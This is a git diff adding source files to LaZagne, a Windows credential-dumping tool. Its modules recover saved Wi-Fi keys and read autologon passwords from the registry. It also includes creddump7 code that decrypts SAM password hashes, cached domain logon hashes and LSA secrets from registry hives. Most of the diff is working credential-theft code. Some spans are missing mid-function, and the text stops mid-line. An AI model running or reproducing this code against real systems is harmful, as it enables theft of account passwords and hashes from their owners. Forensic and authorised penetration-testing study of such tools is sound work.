os.path.join(constant.profile['ALLUSERSPROFILE'], + u'Microsoft\\Wlansvc\\Profiles\\Interfaces') + + # for windows Vista or higher + if os.path.exists(interfaces_dir): + + pwd_found = [] + + for wifi_dir in os.listdir(interfaces_dir): + if os.path.isdir(os.path.join(interfaces_dir, wifi_dir)): + + repository = os.path.join(interfaces_dir, wifi_dir) + for file in os.listdir(repository): + values = {} + if os.path.isfile(os.path.join(repository, file)): + f = os.path.join(repository, file) + tree = ElementTree(file=f) + root = tree.getroot() + xmlns = root.tag.split("}")[0] + '}' + + for elem in tree.iter(): + if elem.tag.endswith('SSID'): + for w in elem: + if w.tag == xmlns + 'name': + values['SSID'] = w.text + + if elem.tag.endswith('authentication'): + values['Authentication'] = elem.text + + if elem.tag.endswith('protected'): + values['Protected'] = elem.text + + if elem.tag.endswith('keyMaterial'): + key = elem.text + try: + password = self.decrypt_using_lsa_secret(key=key) + if not password: + password = self.decrypt_using_netsh(ssid=values['SSID']) + if password: + values['Password'] = password + else: + values['INFO'] = '[!] Password not found.' + except Exception: + self.error(traceback.format_exc()) + values['INFO'] = '[!] Password not found.' + + if values and values.get('Authentication') != 'open': + pwd_found.append(values) + + constant.wifi_password = True + return pwd_found diff --git a/lazagne/softwares/windows/__init__.py b/lazagne/softwares/windows/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/softwares/windows/autologon.py b/lazagne/softwares/windows/autologon.py new file mode 100644 index 0000000..37dace6 --- /dev/null +++ b/lazagne/softwares/windows/autologon.py @@ -0,0 +1,50 @@ +# -*- coding: utf-8 -*- +try: + import _winreg as winreg +except ImportError: + import winreg + +from lazagne.config.module_info import ModuleInfo +from lazagne.config.winstructure import * + +# Password are stored in cleartext on old system (< 2008 R2 and < Win7) +# If enabled on recent system, the password should be visible on the lsa secrets dump (check lsa module output) + + +class Autologon(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'autologon', 'windows', registry_used=True, system_module=True) + + def run(self): + pwd_found = [] + try: + hkey = OpenKey(HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') + if int(winreg.QueryValueEx(hkey, 'AutoAdminLogon')[0]) == 1: + self.debug(u'Autologin enabled') + + keys = { + 'DefaultDomainName': '', + 'DefaultUserName': '', + 'DefaultPassword': '', + 'AltDefaultDomainName': '', + 'AltDefaultUserName': '', + 'AltDefaultPassword': '', + } + + to_remove = [] + for k in keys: + try: + keys[k] = str(winreg.QueryValueEx(hkey, k)[0]) + except Exception: + to_remove.append(k) + + for r in to_remove: + keys.pop(r) + + if keys: + pwd_found.append(keys) + + except Exception as e: + self.debug(str(e)) + + return pwd_found diff --git a/lazagne/softwares/windows/cachedump.py b/lazagne/softwares/windows/cachedump.py new file mode 100644 index 0000000..7f6ae04 --- /dev/null +++ b/lazagne/softwares/windows/cachedump.py @@ -0,0 +1,19 @@ +# -*- coding: utf-8 -*- +from .creddump7.win32.domcachedump import dump_file_hashes +from lazagne.config.module_info import ModuleInfo +from lazagne.config.winstructure import get_os_version +from lazagne.config.constant import constant + + +class Cachedump(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'mscache', 'windows', system_module=True) + + def run(self): + is_vista_or_higher = False + if float(get_os_version()) >= 6.0: + is_vista_or_higher = True + + mscache = dump_file_hashes(constant.hives['system'], constant.hives['security'], is_vista_or_higher) + if mscache: + return ['__MSCache__', mscache] diff --git a/lazagne/softwares/windows/creddump7/__init__.py b/lazagne/softwares/windows/creddump7/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/softwares/windows/creddump7/addrspace.py b/lazagne/softwares/windows/creddump7/addrspace.py new file mode 100644 index 0000000..c218293 --- /dev/null +++ b/lazagne/softwares/windows/creddump7/addrspace.py @@ -0,0 +1,144 @@ +# Volatility +# Copyright (C) 2007 Volatile Systems +# +# Original Source: +# Copyright (C) 2004,2005,2006 4tphi Research +# Author: {npetroni,awalters}@4tphi.net (Nick Petroni and AAron Walters) +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or (at +# your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# + +""" +@author: AAron Walters +@license: GNU General Public License 2.0 or later +@contact: awalters@volatilesystems.com +@organization: Volatile Systems +""" + +""" Alias for all address spaces """ + +import os +import struct + + +class FileAddressSpace: + def __init__(self, fname, mode='rb', fast=False): + self.fname = fname + self.name = fname + self.fhandle = open(fname, mode) + self.fsize = os.path.getsize(fname) + + if fast: + self.fast_fhandle = open(fname, mode) + + def fread(self, len): + return self.fast_fhandle.read(len) + + def read(self, addr, len): + self.fhandle.seek(addr) + return self.fhandle.read(len) + + def read_long(self, addr): + string = self.read(addr, 4) + (longval,) = struct.unpack('L', string) + return longval + + def get_address_range(self): + return [0, self.fsize - 1] + + def get_available_addresses(self): + return [self.get_address_range()] + + def is_valid_address(self, addr): + return addr < self.fsize - 1 + + def close(self): + self.fhandle.close() + + +# Code below written by Brendan Dolan-Gavitt + +BLOCK_SIZE = 0x1000 + + +class HiveFileAddressSpace: + def __init__(self, fname): + self.fname = fname + self.base = FileAddressSpace(fname) + + def vtop(self, vaddr): + return vaddr + BLOCK_SIZE + 4 + + def read(self, vaddr, length, zero=False): + first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE + full_blocks = int((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1 + left_over = (length + vaddr) % BLOCK_SIZE + + paddr = self.vtop(vaddr) + if not paddr and zero: + if length < first_block: + return "\0" * length + else: + stuff_read = "\0" * first_block + elif not paddr: + return None + else: + if length < first_block: + stuff_read = self.base.read(paddr, length) + if not stuff_read and zero: + return "\0" * length + else: + return stuff_read + + stuff_read = self.base.read(paddr, first_block) + if not stuff_read and zero: + stuff_read = "\0" * first_block + + new_vaddr = vaddr + first_block + for i in range(0, full_blocks): + paddr = self.vtop(new_vaddr) + if not paddr and zero: + stuff_read = stuff_read + "\0" * BLOCK_SIZE + elif not paddr: + return None + else: + new_stuff = self.base.read(paddr, BLOCK_SIZE) + if not new_stuff and zero: + new_stuff = "\0" * BLOCK_SIZE + elif not new_stuff: + return None + else: + stuff_read = stuff_read + new_stuff + new_vaddr = new_vaddr + BLOCK_SIZE + + if left_over > 0: + paddr = self.vtop(new_vaddr) + if not paddr and zero: + stuff_read = stuff_read + "\0" * left_over + elif not paddr: + return None + else: + stuff_read = stuff_read + self.base.read(paddr, left_over) + return stuff_read + + def read_long_phys(self, addr): + string = self.base.read(addr, 4) + (longval,) = struct.unpack('L', string) + return longval + + def is_valid_address(self, vaddr): + paddr = self.vtop(vaddr) + if not paddr: return False + return self.base.is_valid_address(paddr) diff --git a/lazagne/softwares/windows/creddump7/newobj.py b/lazagne/softwares/windows/creddump7/newobj.py new file mode 100644 index 0000000..8e9dc4a --- /dev/null +++ b/lazagne/softwares/windows/creddump7/newobj.py @@ -0,0 +1,315 @@ +# This file is part of creddump. +# +# creddump is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# creddump is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with creddump. If not, see . + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +from .object import * +from .types import regtypes as types +from operator import itemgetter +from struct import unpack + + +def get_ptr_type(structure, member): + """Return the type a pointer points to. + + Arguments: + structure : the name of the structure from vtypes + member : a list of members + + Example: + get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY'] + """ + if len(member) > 1: + _, tp = get_obj_offset(types, [structure, member[0]]) + if tp == 'array': + return types[structure][1][member[0]][1][2][1] + else: + return get_ptr_type(tp, member[1:]) + else: + return types[structure][1][member[0]][1][1] + + +class Obj(object): + """Base class for all objects. + + May return a subclass for certain data types to allow + for special handling. + """ + + def __new__(typ, name, address, space): + if name in globals(): + # This is a bit of "magic" + # Could be replaced with a dict mapping type names to types + return globals()[name](name, address, space) + elif name in builtin_types: + return Primitive(name, address, space) + else: + obj = object.__new__(typ) + return obj + + def __init__(self, name, address, space): + self.name = name + self.address = address + self.space = space + + # Subclasses can add fields to this list if they want them + # to show up in values() or members(), even if they do not + # appear in the vtype definition + self.extra_members = [] + + def __getattribute__(self, attr): + try: + return object.__getattribute__(self, attr) + except AttributeError: + pass + + if self.name in builtin_types: + raise AttributeError("Primitive types have no dynamic attributes") + + try: + off, tp = get_obj_offset(types, [self.name, attr]) + except Exception: + raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr)) + + if tp == 'array': + a_len = types[self.name][1][attr][1][1] + l = [] + for i in range(a_len): + a_off, a_tp = get_obj_offset(types, [self.name, attr, i]) + if a_tp == 'pointer': + ptp = get_ptr_type(self.name, [attr, i]) + l.append(Pointer(a_tp, self.address + a_off, self.space, ptp)) + else: + l.append(Obj(a_tp, self.address + a_off, self.space)) + return l + elif tp == 'pointer': + # Can't just return a Obj here, since pointers need to also + # know what type they point to. + ptp = get_ptr_type(self.name, [attr]) + return Pointer(tp, self.address+off, self.space, ptp) + else: + return Obj(tp, self.address+off, self.space) + + def __truediv__(self, other): + if isinstance(other, (tuple, list)): + return Pointer(other[0], self.address, self.space, other[1]) + elif isinstance(other, str): + return Obj(other, self.address, self.space) + else: + raise ValueError("Must provide a type name as string for casting") + + def __div__(self, other): + if isinstance(other, tuple) or isinstance(other, list): + return Pointer(other[0], self.address, self.space, other[1]) + elif isinstance(other, str): + return Obj(other, self.address, self.space) + else: + raise ValueError("Must provide a type name as string for casting") + + def members(self): + """Return a list of this object's members, sorted by offset.""" + + # Could also just return the list + membs = [(k, v[0]) for k,v in types[self.name][1].items()] + membs.sort(key=itemgetter(1)) + return list(map(itemgetter(0),membs)) + self.extra_members + + def values(self): + """Return a dictionary of this object's members and their values""" + + valdict = {} + for k in self.members(): + valdict[k] = getattr(self, k) + return valdict + + def bytes(self, length=-1): + """Get bytes starting at the address of this object. + + Arguments: + length : the number of bytes to read. Default: size of + this object. + """ + + if length == -1: + length = self.size() + return self.space.read(self.address, length) + + def size(self): + """Get the size of this object.""" + + if self.name in builtin_types: + return builtin_types[self.name][0] + else: + return types[self.name][0] + + def __repr__(self): + return "<%s @%08x>" % (self.name, self.address) + + def __eq__(self, other): + if not isinstance(other, Obj): + raise TypeError("Types are incomparable") + return self.address == other.address and self.name == other.name + + def __ne__(self, other): + return not self.__eq__(other) + + def __hash__(self): + return hash(self.address) ^ hash(self.name) + + def is_valid(self): + return self.space.is_valid_address(self.address) + + def get_offset(self, member): + return get_obj_offset(types, [self.name] + member) + + +class Primitive(Obj): + """Class to represent a primitive data type. + + Attributes: + value : the python primitive value of this type + """ + + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def __init__(self, name, address, space): + super(Primitive, self).__init__(name, address, space) + length, fmt = builtin_types[name] + data = space.read(address, length) + if not data: + self.value = None + else: + self.value = unpack(fmt,data)[0] + + def __repr__(self): + return repr(self.value) + + def members(self): + return [] + + +class Pointer(Obj): + """Class to represent pointers. + + value : the object pointed to + + If an attribute is not found in this instance, + the attribute will be looked up in the referenced + object.""" + + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def __init__(self, name, address, space, ptr_type): + super(Pointer, self).__init__(name, address, space) + ptr_address = read_value(space, name, address) + if ptr_type[0] == 'pointer': + self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1]) + else: + self.value = Obj(ptr_type[0], ptr_address, self.space) + + def __getattribute__(self, attr): + # It's still nice to be able to access things through pointers + # without having to explicitly dereference them, so if we don't + # find an attribute via our superclass, just dereference the pointer + # and return the attribute in the pointed-to type. + try: + return super(Pointer, self).__getattribute__(attr) + except AttributeError: + return getattr(self.value, attr) + + def __repr__(self): + return "" % (self.value.name, self.value.address) + + def members(self): + return self.value.members() + + +class _UNICODE_STRING(Obj): + """Class representing a _UNICODE_STRING + + Adds the following behavior: + * The Buffer attribute is presented as a Python string rather + than a pointer to an unsigned short. + * The __str__ method returns the value of the Buffer. + """ + + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def __str__(self): + return self.Buffer + + # Custom Attributes + def getBuffer(self): + return read_unicode_string(self.space, types, [], self.address) + Buffer = property(fget=getBuffer) + + +class _CM_KEY_NODE(Obj): + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def getName(self): + return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'], self.address, self.NameLength.value) + Name = property(fget=getName) + + +class _CM_KEY_VALUE(Obj): + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def getName(self): + return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'], self.address, self.NameLength.value) + Name = property(fget=getName) + + +class _CHILD_LIST(Obj): + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def getList(self): + lst = [] + list_address = read_obj(self.space, types, ['_CHILD_LIST', 'List'], self.address) + for i in range(self.Count.value): + lst.append(Pointer("pointer", list_address+(i*4), self.space, ["_CM_KEY_VALUE"])) + return lst + List = property(fget=getList) + + +class _CM_KEY_INDEX(Obj): + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def getList(self): + lst = [] + for i in range(self.Count.value): + # we are ignoring the hash value here + off, tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2]) + lst.append(Pointer("pointer", self.address+off, self.space, ["_CM_KEY_NODE"])) + return lst + List = property(fget=getList) diff --git a/lazagne/softwares/windows/creddump7/object.py b/lazagne/softwares/windows/creddump7/object.py new file mode 100644 index 0000000..d2fa04b --- /dev/null +++ b/lazagne/softwares/windows/creddump7/object.py @@ -0,0 +1,179 @@ +# Volatools Basic +# Copyright (C) 2007 Komoku, Inc. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or (at +# your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# + +""" +@author: AAron Walters and Nick Petroni +@license: GNU General Public License 2.0 or later +@contact: awalters@komoku.com, npetroni@komoku.com +@organization: Komoku, Inc. +""" + +import struct + +builtin_types = { + 'int': (4, 'i'), + 'long': (4, 'i'), + 'unsigned long': (4, 'I'), + 'unsigned int': (4, 'I'), + 'address': (4, 'I'), + 'char': (1, 'c'), + 'unsigned char': (1, 'B'), + 'unsigned short': (2, 'H'), + 'short': (2, 'h'), + 'long long': (8, 'q'), + 'unsigned long long': (8, 'Q'), + 'pointer': (4, 'I'), +} + + +def obj_size(types, objname): + if objname not in types: + raise Exception('Invalid type %s not in types' % objname) + + return types[objname][0] + + +def builtin_size(builtin): + if builtin not in builtin_types: + raise Exception('Invalid built-in type %s' % builtin) + + return builtin_types[builtin][0] + + +def read_value(addr_space, value_type, vaddr): + """ + Read the low-level value for a built-in type. + """ + + if value_type not in builtin_types: + raise Exception('Invalid built-in type %s' % value_type) + + type_unpack_char = builtin_types[value_type][1] + type_size = builtin_types[value_type][0] + + buf = addr_space.read(vaddr, type_size) + if buf is None: + return None + + try: + (val,) = struct.unpack(type_unpack_char, buf) + except Exception: + return None + + return val + + +def read_unicode_string(addr_space, types, member_list, vaddr): + offset = 0 + if len(member_list) > 1: + (offset, current_type) = get_obj_offset(types, member_list) + + buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset) + length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset) + + if length == 0x0: + return "" + + if buf is None or length is None: + return None + + readBuf = read_string(addr_space, types, ['char'], buf, length) + + if readBuf is None: + return None + + try: + readBuf = readBuf.decode('UTF-16').encode('ascii') + except Exception: + return None + + return readBuf + + +def read_string(addr_space, types, member_list, vaddr, max_length=256): + offset = 0 + if len(member_list) > 1: + (offset, current_type) = get_obj_offset(types, member_list) + + val = addr_space.read(vaddr + offset, max_length) + + return val + + +def read_null_string(addr_space, types, member_list, vaddr, max_length=256): + string = read_string(addr_space, types, member_list, vaddr, max_length) + + if string is None: + return None + + if string.find('\0') == -1: + return string + (string, none) = string.split('\0', 1) + return string + + +def get_obj_offset(types, member_list): + """ + Returns the (offset, type) pair for a given list + """ + member_list.reverse() + + current_type = member_list.pop() + + offset = 0 + current_member = 0 + member_dict = None + + while len(member_list) > 0: + if current_type == 'array': + if member_dict: + current_type = member_dict[current_member][1][2][0] + if current_type in builtin_types: + current_type_size = builtin_size(current_type) + else: + current_type_size = obj_size(types, current_type) + index = member_list.pop() + offset += index * current_type_size + continue + + elif current_type not in types: + raise Exception('Invalid type ' + current_type) + + member_dict = types[current_type][1] + + current_member = member_list.pop() + if current_member not in member_dict: + raise Exception('Invalid member %s in type %s' % (current_member, current_type)) + + offset += member_dict[current_member][0] + + current_type = member_dict[current_member][1][0] + + return offset, current_type + + +def read_obj(addr_space, types, member_list, vaddr): + """ + Read the low-level value for some complex type's member. + The type must have members. + """ + if len(member_list) < 2: + raise Exception('Invalid type/member ' + str(member_list)) + + (offset, current_type) = get_obj_offset(types, member_list) + return read_value(addr_space, current_type, vaddr + offset) diff --git a/lazagne/softwares/windows/creddump7/types.py b/lazagne/softwares/windows/creddump7/types.py new file mode 100644 index 0000000..8ad79a6 --- /dev/null +++ b/lazagne/softwares/windows/creddump7/types.py @@ -0,0 +1,63 @@ +# This file is part of creddump. +# +# creddump is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# creddump is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with creddump. If not, see . + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +regtypes = { + '_CM_KEY_VALUE': [0x18, { + 'Signature': [0x0, ['unsigned short']], + 'NameLength': [0x2, ['unsigned short']], + 'DataLength': [0x4, ['unsigned long']], + 'Data': [0x8, ['unsigned long']], + 'Type': [0xc, ['unsigned long']], + 'Flags': [0x10, ['unsigned short']], + 'Spare': [0x12, ['unsigned short']], + 'Name': [0x14, ['array', 1, ['unsigned short']]], + }], + '_CM_KEY_NODE': [0x50, { + 'Signature': [0x0, ['unsigned short']], + 'Flags': [0x2, ['unsigned short']], + 'LastWriteTime': [0x4, ['_LARGE_INTEGER']], + 'Spare': [0xc, ['unsigned long']], + 'Parent': [0x10, ['unsigned long']], + 'SubKeyCounts': [0x14, ['array', 2, ['unsigned long']]], + 'SubKeyLists': [0x1c, ['array', 2, ['unsigned long']]], + 'ValueList': [0x24, ['_CHILD_LIST']], + 'ChildHiveReference': [0x1c, ['_CM_KEY_REFERENCE']], + 'Security': [0x2c, ['unsigned long']], + 'Class': [0x30, ['unsigned long']], + 'MaxNameLen': [0x34, ['unsigned long']], + 'MaxClassLen': [0x38, ['unsigned long']], + 'MaxValueNameLen': [0x3c, ['unsigned long']], + 'MaxValueDataLen': [0x40, ['unsigned long']], + 'WorkVar': [0x44, ['unsigned long']], + 'NameLength': [0x48, ['unsigned short']], + 'ClassLength': [0x4a, ['unsigned short']], + 'Name': [0x4c, ['array', 1, ['unsigned short']]], + }], + '_CM_KEY_INDEX': [0x8, { + 'Signature': [0x0, ['unsigned short']], + 'Count': [0x2, ['unsigned short']], + 'List': [0x4, ['array', 1, ['unsigned long']]], + }], + '_CHILD_LIST': [0x8, { + 'Count': [0x0, ['unsigned long']], + 'List': [0x4, ['unsigned long']], + }], +} diff --git a/lazagne/softwares/windows/creddump7/win32/__init__.py b/lazagne/softwares/windows/creddump7/win32/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/softwares/windows/creddump7/win32/domcachedump.py b/lazagne/softwares/windows/creddump7/win32/domcachedump.py new file mode 100644 index 0000000..eea867d --- /dev/null +++ b/lazagne/softwares/windows/creddump7/win32/domcachedump.py @@ -0,0 +1,146 @@ +# This file is part of creddump. +# +# creddump is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# creddump is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with creddump. If not, see . + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +import hmac +import hashlib + +from .rawreg import * +from ..addrspace import HiveFileAddressSpace +from .hashdump import get_bootkey +from .lsasecrets import get_secret_by_name, get_lsa_key +from struct import unpack + +from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC +from lazagne.config.crypto.rc4 import RC4 + +AES_BLOCK_SIZE = 16 + + +def get_nlkm(secaddr, lsakey, vista): + return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista) + + +def decrypt_hash(edata, nlkm, ch): + hmac_md5 = hmac.new(nlkm, ch, hashlib.md5) + rc4key = hmac_md5.digest() + + rc4 = RC4(rc4key) + data = rc4.encrypt(edata) + return data + + +def decrypt_hash_vista(edata, nlkm, ch): + """ + Based on code from http://lab.mediaservice.net/code/cachedump.rb + """ + aes = AESModeOfOperationCBC(nlkm[16:32], iv=ch) + + out = b"" + for i in range(0, len(edata), 16): + buf = edata[i:i+16] + if len(buf) < 16: + buf += (16 - len(buf)) * b"\00" + out += b"".join([aes.decrypt(buf[i:i + AES_BLOCK_SIZE]) for i in range(0, len(buf), AES_BLOCK_SIZE)]) + return out + + +def parse_cache_entry(cache_data): + (uname_len, domain_len) = unpack(". + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +import hashlib +import codecs +from struct import pack + +from ..addrspace import HiveFileAddressSpace +from .rawreg import * +from lazagne.config.crypto.rc4 import RC4 +from lazagne.config.crypto.pyDes import des, ECB +from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC +from lazagne.config.winstructure import char_to_int, chr_or_byte, int_or_bytes + + +odd_parity = [ + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110, + 112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127, + 128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143, + 145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, + 161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, + 176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191, + 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206, + 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223, + 224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239, + 241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254 +] + +# Permutation matrix for boot key +p = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, + 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7] + +# Constants for SAM decrypt algorithm +aqwerty = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" +anum = b"0123456789012345678901234567890123456789\0" +antpassword = b"NTPASSWORD\0" +almpassword = b"LMPASSWORD\0" + +empty_lm = codecs.decode('aad3b435b51404eeaad3b435b51404ee', 'hex') +empty_nt = codecs.decode('31d6cfe0d16ae931b73c59d7e0c089c0', 'hex') + +AES_BLOCK_SIZE = 16 + + +def str_to_key(s): + key = [] + key.append(char_to_int(s[0]) >> 1) + key.append(((char_to_int(s[0]) & 0x01) << 6) | (char_to_int(s[1]) >> 2)) + key.append(((char_to_int(s[1]) & 0x03) << 5) | (char_to_int(s[2]) >> 3)) + key.append(((char_to_int(s[2]) & 0x07) << 4) | (char_to_int(s[3]) >> 4)) + key.append(((char_to_int(s[3]) & 0x0F) << 3) | (char_to_int(s[4]) >> 5)) + key.append(((char_to_int(s[4]) & 0x1F) << 2) | (char_to_int(s[5]) >> 6)) + key.append(((char_to_int(s[5]) & 0x3F) << 1) | (char_to_int(s[6]) >> 7)) + key.append(char_to_int(s[6]) & 0x7F) + + for i in range(8): + key[i] = (key[i] << 1) + key[i] = odd_parity[key[i]] + + return b"".join(chr_or_byte(k) for k in key) + + +def sid_to_key(sid): + s1 = b"" + s1 += chr_or_byte(sid & 0xFF) + s1 += chr_or_byte((sid >> 8) & 0xFF) + s1 += chr_or_byte((sid >> 16) & 0xFF) + s1 += chr_or_byte((sid >> 24) & 0xFF) + s1 += int_or_bytes(s1[0]) + s1 += int_or_bytes(s1[1]) + s1 += int_or_bytes(s1[2]) + s2 = int_or_bytes(s1[3]) + int_or_bytes(s1[0]) + int_or_bytes(s1[1]) + int_or_bytes(s1[2]) + s2 += int_or_bytes(s2[0]) + int_or_bytes(s2[1]) + int_or_bytes(s2[2]) + return str_to_key(s1), str_to_key(s2) + + +def find_control_set(sysaddr): + root = get_root(sysaddr) + if not root: + return 1 + + csselect = open_key(root, [b"Select"]) + if not csselect: + return 1 + + for v in values(csselect): + if v.Name == b"Current": + return v.Data.value + + +def get_bootkey(sysaddr): + cs = find_control_set(sysaddr) + lsa_base = [b"ControlSet%03d" % cs, b"Control", b"Lsa"] + lsa_keys = [b"JD", b"Skew1", b"GBG", b"Data"] + + root = get_root(sysaddr) + if not root: + return None + + lsa = open_key(root, lsa_base) + if not lsa: + return None + + bootkey = b"" + + for lk in lsa_keys: + key = open_key(lsa, [lk]) + class_data = sysaddr.read(key.Class.value, key.ClassLength.value) + bootkey += codecs.decode(class_data.decode('utf-16-le'), 'hex') + + bootkey_scrambled = b"" + for i in range(len(bootkey)): + bootkey_scrambled += bootkey[p[i]:p[i]+1] + return bootkey_scrambled + + +def get_hbootkey(samaddr, bootkey): + sam_account_path = [b"SAM", b"Domains", b"Account"] + + root = get_root(samaddr) + if not root: + return None + + sam_account_key = open_key(root, sam_account_path) + if not sam_account_key: + return None + + F = None + for v in values(sam_account_key): + if v.Name == b'F': + F = samaddr.read(v.Data.value, v.DataLength.value) + if not F: + return None + + revision = ord(F[0x00:0x01]) + if revision == 2: + md5 = hashlib.md5(F[0x70:0x80] + aqwerty + bootkey + anum) + rc4_key = md5.digest() + rc4 = RC4(rc4_key) + hbootkey = rc4.encrypt(F[0x80:0xA0]) + + return hbootkey + + elif revision == 3: + iv = F[0x78:0x88] + encryptedHBootKey = F[0x88:0xA8] + cipher = AESModeOfOperationCBC(bootkey, iv=iv) + hbootkey = b"".join([cipher.decrypt(encryptedHBootKey[i:i + AES_BLOCK_SIZE]) for i in range(0, len(encryptedHBootKey), AES_BLOCK_SIZE)]) + + return hbootkey[:16] + + +def get_user_keys(samaddr): + user_key_path = [b"SAM", b"Domains", b"Account", b"Users"] + root = get_root(samaddr) + if not root: + return [] + + user_key = open_key(root, user_key_path) + if not user_key: + return [] + + return [k for k in subkeys(user_key) if k.Name != b"Names"] + + +def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr): + if enc_hash == "": + return "" + (des_k1, des_k2) = sid_to_key(rid) + d1 = des(des_k1, ECB) + d2 = des(des_k2, ECB) + md5 = hashlib.md5() + md5.update(hbootkey[:0x10] + pack(". + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +import hashlib +import os + +from .rawreg import * +from ..addrspace import HiveFileAddressSpace +from .hashdump import get_bootkey, str_to_key +from lazagne.config.crypto.rc4 import RC4 +from lazagne.config.crypto.pyDes import des, ECB +from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC + + +def get_lsa_key(secaddr, bootkey, vista): + root = get_root(secaddr) + if not root: + return None + + if vista: + enc_reg_key = open_key(root, [b"Policy", b"PolEKList"]) + else: + enc_reg_key = open_key(root, [b"Policy", b"PolSecretEncryptionKey"]) + + if not 